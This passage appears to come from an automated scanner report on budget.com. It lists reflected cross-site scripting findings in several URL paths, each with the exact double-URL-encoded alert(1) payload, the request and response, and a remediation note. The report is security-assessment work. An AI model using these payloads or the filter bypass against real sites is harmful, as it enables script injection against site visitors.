HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 93
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:52:36 GMT
Connection: close
Set-Cookie: JSESSIONID=zvm1MGLDyxxRy51c7cPT1NQnJdy0M04wJgC2NNlxJ08lccZGVhJj!844067018; path=/

Invalid path /sitesearchc5f3d<script>alert(1)</script>12dbf420e6f/performSearch was requested

1.14. https://www.budget.com/budgetWeb/feedback/ccsSubmit.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/feedback/ccsSubmit.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 256ea%253cscript%253ealert%25281%2529%253c%252fscript%253e27648287187 was submitted in the REST URL parameter 2. This input was echoed as 256ea<script>alert(1)</script>27648287187 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/feedback256ea%253cscript%253ealert%25281%2529%253c%252fscript%253e27648287187/ccsSubmit.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=P1mpMGGX7tBfpkR8ynk4pPydGQmmBLkKjhQ5NmkLGTrT2PMkRVbV!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDYxMTY0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 87
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:50:56 GMT
Connection: close

Invalid path /feedback256ea<script>alert(1)</script>27648287187/ccsSubmit was requested

1.15. https://www.budget.com/budgetWeb/feedback/contactSubSubmit.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/feedback/contactSubSubmit.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 39d16%253cscript%253ealert%25281%2529%253c%252fscript%253e7214ac5d202 was submitted in the REST URL parameter 2. This input was echoed as 39d16<script>alert(1)</script>7214ac5d202 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/feedback39d16%253cscript%253ealert%25281%2529%253c%252fscript%253e7214ac5d202/contactSubSubmit.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=TgjJMGGXzLl6vJ4M0tSp8bQhhb9YyrvJp2nW2thHgTsvb5PsyhzR!-83250647; CRAP=y; datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 94
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:50:03 GMT
Connection: close

Invalid path /feedback39d16<script>alert(1)</script>7214ac5d202/contactSubSubmit was requested

1.16. https://www.budget.com/budgetWeb/feedback/feedbackrouter.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/feedback/feedbackrouter.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 9e026%253cscript%253ealert%25281%2529%253c%252fscript%253eca31a9a10e2 was submitted in the REST URL parameter 2. This input was echoed as 9e026<script>alert(1)</script>ca31a9a10e2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/feedback9e026%253cscript%253ealert%25281%2529%253c%252fscript%253eca31a9a10e2/feedbackrouter.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 92
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:49:08 GMT
Connection: close
Set-Cookie: JSESSIONID=JGrHMGHVJdVyvNgVvpgNT0bBgzMkM9y9NbzDH0hnwS2yJ4MGyf8L!455947420; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:49:09 GMT; path=/

Invalid path /feedback9e026<script>alert(1)</script>ca31a9a10e2/feedbackrouter was requested

1.17. https://www.budget.com/budgetWeb/feedback/freqrenterMeetingsSubmit.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/feedback/freqrenterMeetingsSubmit.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 3df7b%253cscript%253ealert%25281%2529%253c%252fscript%253e89110e1f311 was submitted in the REST URL parameter 2. This input was echoed as 3df7b<script>alert(1)</script>89110e1f311 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/feedback3df7b%253cscript%253ealert%25281%2529%253c%252fscript%253e89110e1f311/freqrenterMeetingsSubmit.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=Tb11MGGXszSmF81HTXrQLf3RkQdh4sL84vGWhZc1G1QQyRT1yVyX!-83250647; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDQ3NzQ0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 102
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:50:27 GMT
Connection: close

Invalid path /feedback3df7b<script>alert(1)</script>89110e1f311/freqrenterMeetingsSubmit was requested

1.18. https://www.budget.com/budgetWeb/feedback/freqrenterReunionsSubmit.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/feedback/freqrenterReunionsSubmit.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 669cd%253cscript%253ealert%25281%2529%253c%252fscript%253e1d6a98b5f84 was submitted in the REST URL parameter 2. This input was echoed as 669cd<script>alert(1)</script>1d6a98b5f84 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/feedback669cd%253cscript%253ealert%25281%2529%253c%252fscript%253e1d6a98b5f84/freqrenterReunionsSubmit.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=QSVRMGGZR0zKcwNf8Gb2hnJ2wn5vBw4231MVQjvwJ77l5gbpvvHL!844067018; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDQ3NzQ0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 102
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:50:19 GMT
Connection: close

Invalid path /feedback669cd<script>alert(1)</script>1d6a98b5f84/freqrenterReunionsSubmit was requested

1.19. https://www.budget.com/budgetWeb/feedback/freqrenterSubSubmit.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/feedback/freqrenterSubSubmit.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 812d3%253cscript%253ealert%25281%2529%253c%252fscript%253e238e538012d was submitted in the REST URL parameter 2. This input was echoed as 812d3<script>alert(1)</script>238e538012d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/feedback812d3%253cscript%253ealert%25281%2529%253c%252fscript%253e238e538012d/freqrenterSubSubmit.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 97
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:49:42 GMT
Connection: close
Set-Cookie: JSESSIONID=WGz3MGLX2pTGqwK1dy3R1pNpYyWCKjGGFtMyQfdDpNKwWLWqjY8P!844067018; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:49:43 GMT; path=/

Invalid path /feedback812d3<script>alert(1)</script>238e538012d/freqrenterSubSubmit was requested

1.20. https://www.budget.com/budgetWeb/feedback/freqrenterWeddingsSubmit.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/feedback/freqrenterWeddingsSubmit.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload dcfcf%253cscript%253ealert%25281%2529%253c%252fscript%253eef3b27dee11 was submitted in the REST URL parameter 2. This input was echoed as dcfcf<script>alert(1)</script>ef3b27dee11 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/feedbackdcfcf%253cscript%253ealert%25281%2529%253c%252fscript%253eef3b27dee11/freqrenterWeddingsSubmit.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=h7pXMGGX6ZZJQ32WvNnvprFTPnyYJV0wbVGXzHxyFTnWYLcY81yt!-83250647; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDQ3NzQ0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 102
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:50:25 GMT
Connection: close

Invalid path /feedbackdcfcf<script>alert(1)</script>ef3b27dee11/freqrenterWeddingsSubmit was requested

1.21. https://www.budget.com/budgetWeb/feedback/giftCertificateSubmit.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/feedback/giftCertificateSubmit.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload ad6a0%253cscript%253ealert%25281%2529%253c%252fscript%253ebdaa7aef333 was submitted in the REST URL parameter 2. This input was echoed as ad6a0<script>alert(1)</script>bdaa7aef333 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/feedbackad6a0%253cscript%253ealert%25281%2529%253c%252fscript%253ebdaa7aef333/giftCertificateSubmit.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=3lQLMGGXs5gx7VKfNGCynmGb3CwKJZZbQrhGC7lGgX8WfpcHnPhc!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDQ3NzQ0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 99
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:50:49 GMT
Connection: close

Invalid path /feedbackad6a0<script>alert(1)</script>bdaa7aef333/giftCertificateSubmit was requested

1.22. https://www.budget.com/budgetWeb/feedback/rentalhistorymailtoform.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/feedback/rentalhistorymailtoform.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 570a0%253cscript%253ealert%25281%2529%253c%252fscript%253e10c859455ff was submitted in the REST URL parameter 2. This input was echoed as 570a0<script>alert(1)</script>10c859455ff in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/feedback570a0%253cscript%253ealert%25281%2529%253c%252fscript%253e10c859455ff/rentalhistorymailtoform.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=5gRVMGGXSXN7Xq0vMZvWN6phhXJ2RSrvqnwR7zDRppY6dL8h22fs!-83250647; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDQ3NzQ0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 101
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:50:16 GMT
Connection: close

Invalid path /feedback570a0<script>alert(1)</script>10c859455ff/rentalhistorymailtoform was requested

1.23. https://www.budget.com/budgetWeb/home/home.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/home/home.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c91db%253cscript%253ealert%25281%2529%253c%252fscript%253e69f76af7451 was submitted in the REST URL parameter 2. This input was echoed as c91db<script>alert(1)</script>69f76af7451 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/homec91db%253cscript%253ealert%25281%2529%253c%252fscript%253e69f76af7451/home.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: https://www.budget.com/budgetWeb/html/en/aboutus/jobs/index.html?ICID=sitemap&IID=jobs
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 78
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:48:07 GMT
Connection: close
Set-Cookie: JSESSIONID=zWSMMGHV0pGgFGJWG7FJ5LzT22cQKBKytWn9v1182S4P1zBmJTws!-83250647; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:48:05 GMT; path=/

Invalid path /homec91db<script>alert(1)</script>69f76af7451/home was requested

1.24. https://www.budget.com/budgetWeb/home/hotdeals.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/home/hotdeals.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a4e0c%253cscript%253ealert%25281%2529%253c%252fscript%253e619f45c5923 was submitted in the REST URL parameter 2. This input was echoed as a4e0c<script>alert(1)</script>619f45c5923 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/homea4e0c%253cscript%253ealert%25281%2529%253c%252fscript%253e619f45c5923/hotdeals.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 82
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:47:24 GMT
Connection: close
Set-Cookie: JSESSIONID=TgsBMGHLSkp7mtpfCzHFzpvWs2T19QMF21vXN3882k1mxQpw8wb0!-736587193; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:47:23 GMT; path=/

Invalid path /homea4e0c<script>alert(1)</script>619f45c5923/hotdeals was requested

1.25. https://www.budget.com/budgetWeb/home/tahome.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/home/tahome.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 4cb56%253cscript%253ealert%25281%2529%253c%252fscript%253ed49fa6c16d0 was submitted in the REST URL parameter 2. This input was echoed as 4cb56<script>alert(1)</script>d49fa6c16d0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/home4cb56%253cscript%253ealert%25281%2529%253c%252fscript%253ed49fa6c16d0/tahome.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: https://www.budget.com/budgetWeb/images/
Cookie: datacenter=boulder;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 80
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:47:12 GMT
Connection: close
Set-Cookie: JSESSIONID=w3GfMGHptgxxCDTBg3K1yp7QMQsxfxLnG7G2CfCq035py7NQnjmj!-736587193; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:47:10 GMT; path=/

Invalid path /home4cb56<script>alert(1)</script>d49fa6c16d0/tahome was requested

1.26. https://www.budget.com/budgetWeb/homea4e0c%253cscript%253ealert%25281%2529%253c%252fscript%253e619f45c5923/hotdeals.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/homea4e0c%253cscript%253ealert%25281%2529%253c%252fscript%253e619f45c5923/hotdeals.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload b05e7%253cscript%253ealert%25281%2529%253c%252fscript%253edd28a4d863b was submitted in the REST URL parameter 2. This input was echoed as b05e7<script>alert(1)</script>dd28a4d863b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/homea4e0c%253cscript%253ealert%25281%2529%253c%252fscript%253e619f45c5923b05e7%253cscript%253ealert%25281%2529%253c%252fscript%253edd28a4d863b/hotdeals.ex HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Host: www.budget.com
Connection: Keep-Alive
Cookie: datacenter=boulder; JSESSIONID=jh6TMGLMQz1YMQwDGPCccCVnvnMsyb82QnynJlT1HhT1shkvg9WD!-736587193; CRAP=y; PNC=encQlVEMTE5OTQ2ODY3NzY4NjQ5OTExRFVC

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 123
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:58:15 GMT
Connection: keep-alive
Vary: Accept-Encoding

Invalid path /homea4e0c<script>alert(1)</script>619f45c5923b05e7<script>alert(1)</script>dd28a4d863b/hotdeals was requested

1.27. https://www.budget.com/budgetWeb/locationsearch/details.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/locationsearch/details.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 9c9b8%253cscript%253ealert%25281%2529%253c%252fscript%253ebe633401c66 was submitted in the REST URL parameter 2. This input was echoed as 9c9b8<script>alert(1)</script>be633401c66 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/locationsearch9c9b8%253cscript%253ealert%25281%2529%253c%252fscript%253ebe633401c66/details.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=95CE485638CBD704DE0C72B970DFFB28; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDY3NzY0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 91
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:51:33 GMT
Connection: close
Set-Cookie: JSESSIONID=QhfgMGLGQLKLrtGnVCTc3Tnq7kXGQTQ7s2zMg3QV4vsJC72hQsyG!844067018; path=/
Set-Cookie: CRAP=y; expires=Monday, 22-Jul-2013 07:51:32 GMT; path=/

Invalid path /locationsearch9c9b8<script>alert(1)</script>be633401c66/details was requested

1.28. https://www.budget.com/budgetWeb/locationsearch/driving.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/locationsearch/driving.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 8143d%253cscript%253ealert%25281%2529%253c%252fscript%253ee5c9266e05b was submitted in the REST URL parameter 2. This input was echoed as 8143d<script>alert(1)</script>e5c9266e05b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/locationsearch8143d%253cscript%253ealert%25281%2529%253c%252fscript%253ee5c9266e05b/driving.ex HTTP/1.1
Host: www.budget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=P1mpMGGX7tBfpkR8ynk4pPydGQmmBLkKjhQ5NmkLGTrT2PMkRVbV!-736587193; CRAP=y; datacenter=boulder; PNC=encQlVEMTE5OTQ2NDY1NTY0NjQ5OTExRFVC;

Response

HTTP/1.1 400 Bad Request
Server: Sun-ONE-Web-Server/6.1
Content-Length: 91
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache
Pragma: No-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Powered-By: Servlet/2.4 JSP/2.0
Date: Tue, 26 Oct 2010 07:49:32 GMT
Connection: close

Invalid path /locationsearch8143d<script>alert(1)</script>e5c9266e05b/driving was requested

1.29. https://www.budget.com/budgetWeb/locationsearch/location.ex [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://www.budget.com
Path:   /budgetWeb/locationsearch/location.ex

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 30123%253cscript%253ealert%25281%2529%253c%252fscript%253e4dfc819b010 was submitted in the REST URL parameter 2. This input was echoed as 30123<script>alert(1)</script>4dfc819b010 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /budgetWeb/locationsearch30123%253cscript%253ealert%25281%2529%253c%252fscript%253e4dfc819b010/location.ex HTTP/1.1
Host: www.budget.com
